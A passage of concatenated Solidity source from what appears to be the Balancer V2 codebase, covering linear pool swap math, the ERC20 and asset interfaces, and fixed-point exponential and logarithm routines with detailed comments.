contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IGeneralPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) external returns (uint256 amount); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; // These functions start with an underscore, as if they were part of a contract and not a library. At some point this // should be fixed. // solhint-disable private-vars-leading-underscore library LinearMath { using FixedPoint for uint256; // A thorough derivation of the formulas and derivations found here exceeds the scope of this file, so only // introductory notions will be presented. // A Linear Pool holds three tokens: the main token, the wrapped token, and the Pool share token (BPT). It is // possible to exchange any of these tokens for any of the other two (so we have three trading pairs) in both // directions (the first token of each pair can be bought or sold for the second) and by specifying either the input // or output amount (typically referred to as 'given in' or 'given out'). A full description thus requires // 3*2*2 = 12 functions. // Wrapped tokens have a known, trusted exchange rate to main tokens. All functions here assume such a rate has // already been applied, meaning main and wrapped balances can be compared as they are both expressed in the same // units (those of main token). // Additionally, Linear Pools feature a lower and upper target that represent the desired range of values for the // main token balance. Any action that moves the main balance away from this range is charged a proportional fee, // and any action that moves it towards this range is incentivized by paying the actor using these collected fees. // The collected fees are not stored in a separate data structure: they are a function of the current main balance, // targets and fee percentage. The main balance sans fees is known as the 'nominal balance', which is always smaller // than the real balance except when the real balance is within the targets. // The rule under which Linear Pools conduct trades between main and wrapped tokens is by keeping the sum of nominal // main balance and wrapped balance constant: this value is known as the 'invariant'. BPT is backed by nominal // reserves, meaning its supply is proportional to the invariant. As the wrapped token appreciates in value and its // exchange rate to the main token increases, so does the invariant and thus the value of BPT (in main token units). struct Params { uint256 fee; uint256 lowerTarget; uint256 upperTarget; } function _calcBptOutPerMainIn( uint256 mainIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the nominal main balance as // there is no wrapped balance). return _toNominal(mainIn, params); } uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.add(mainIn), params); uint256 deltaNominalMain = afterNominalMain.sub(previousNominalMain); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); return Math.divDown(Math.mul(bptSupply, deltaNominalMain), invariant); } function _calcBptInPerMainOut( uint256 mainOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.sub(mainOut), params); uint256 deltaNominalMain = previousNominalMain.sub(afterNominalMain); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); return Math.divUp(Math.mul(bptSupply, deltaNominalMain), invariant); } function _calcWrappedOutPerMainIn( uint256 mainIn, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.add(mainIn), params); return afterNominalMain.sub(previousNominalMain); } function _calcWrappedInPerMainOut( uint256 mainOut, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.sub(mainOut), params); return previousNominalMain.sub(afterNominalMain); } function _calcMainInPerBptOut( uint256 bptOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the nominal main balance as // there is no wrapped balance). return _fromNominal(bptOut, params); } uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); uint256 deltaNominalMain = Math.divUp(Math.mul(invariant, bptOut), bptSupply); uint256 afterNominalMain = previousNominalMain.add(deltaNominalMain); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return newMainBalance.sub(mainBalance); } function _calcMainOutPerBptIn( uint256 bptIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); uint256 deltaNominalMain = Math.divDown(Math.mul(invariant, bptIn), bptSupply); uint256 afterNominalMain = previousNominalMain.sub(deltaNominalMain); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return mainBalance.sub(newMainBalance); } function _calcMainOutPerWrappedIn( uint256 wrappedIn, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = previousNominalMain.sub(wrappedIn); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return mainBalance.sub(newMainBalance); } function _calcMainInPerWrappedOut( uint256 wrappedOut, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = previousNominalMain.add(wrappedOut); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return newMainBalance.sub(mainBalance); } function _calcBptOutPerWrappedIn( uint256 wrappedIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the wrapped balance as // there is no main balance). return wrappedIn; } uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newWrappedBalance = wrappedBalance.add(wrappedIn); uint256 newInvariant = _calcInvariant(nominalMain, newWrappedBalance); uint256 newBptBalance = Math.divDown(Math.mul(bptSupply, newInvariant), previousInvariant); return newBptBalance.sub(bptSupply); } function _calcBptInPerWrappedOut( uint256 wrappedOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newWrappedBalance = wrappedBalance.sub(wrappedOut); uint256 newInvariant = _calcInvariant(nominalMain, newWrappedBalance); uint256 newBptBalance = Math.divDown(Math.mul(bptSupply, newInvariant), previousInvariant); return bptSupply.sub(newBptBalance); } function _calcWrappedInPerBptOut( uint256 bptOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the wrapped balance as // there is no main balance). return bptOut; } uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newBptBalance = bptSupply.add(bptOut); uint256 newWrappedBalance = Math.divUp(Math.mul(newBptBalance, previousInvariant), bptSupply).sub(nominalMain); return newWrappedBalance.sub(wrappedBalance); } function _calcWrappedOutPerBptIn( uint256 bptIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newBptBalance = bptSupply.sub(bptIn); uint256 newWrappedBalance = Math.divUp(Math.mul(newBptBalance, previousInvariant), bptSupply).sub(nominalMain); return wrappedBalance.sub(newWrappedBalance); } function _calcInvariant(uint256 nominalMainBalance, uint256 wrappedBalance) internal pure returns (uint256) { return nominalMainBalance.add(wrappedBalance); } function _toNominal(uint256 real, Params memory params) internal pure returns (uint256) { // Fees are always rounded down: either direction would work but we need to be consistent, and rounding down // uses less gas. if (real < params.lowerTarget) { uint256 fees = (params.lowerTarget - real).mulDown(params.fee); return real.sub(fees); } else if (real <= params.upperTarget) { return real; } else { uint256 fees = (real - params.upperTarget).mulDown(params.fee); return real.sub(fees); } } function _fromNominal(uint256 nominal, Params memory params) internal pure returns (uint256) { // Since real = nominal + fees, rounding down fees is equivalent to rounding down real. if (nominal < params.lowerTarget) { return (nominal.add(params.fee.mulDown(params.lowerTarget))).divDown(FixedPoint.ONE.add(params.fee)); } else if (nominal <= params.upperTarget) { return nominal; } else { return (nominal.sub(params.fee.mulDown(params.upperTarget)).divDown(FixedPoint.ONE.sub(params.fee))); } } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 bptIndex ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = tokenAmountOut / bptIn \ // // b = tokenBalance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ bptTotalSupply / // // bpt = bptTotalSupply // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(bptTotalSupply); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { // BPT is skipped as those tokens are not the LPs, but rather the preminted and undistributed amount. if (i != bptIndex) { amountsOut[i] = balances[i].mulDown(bptRatio); } } return amountsOut; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LinearPool.sol"; library LinearPoolUserData { enum ExitKind { EMERGENCY_EXACT_BPT_IN_FOR_TOKENS_OUT } function exitKind(bytes memory self) internal pure returns (ExitKind) { return abi.decode(self, (ExitKind)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (ExitKind, uint256)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the “Software”), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the // Software. // THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = _ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = _ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = _ln_36(base); } else { logBase = _ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = _ln_36(arg); } else { logArg = _ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) { return _ln_36(a) / ONE_18; } else { return _ln(a); } } /** * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function _ln(int256 a) private pure returns (int256) { if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-_ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function _ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library. */ library Math { /** * @dev Returns the absolute value of a signed integer. */ function abs(int256 a) internal pure returns (uint256) { return a > 0 ? uint256(a) : uint256(-a); } /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + 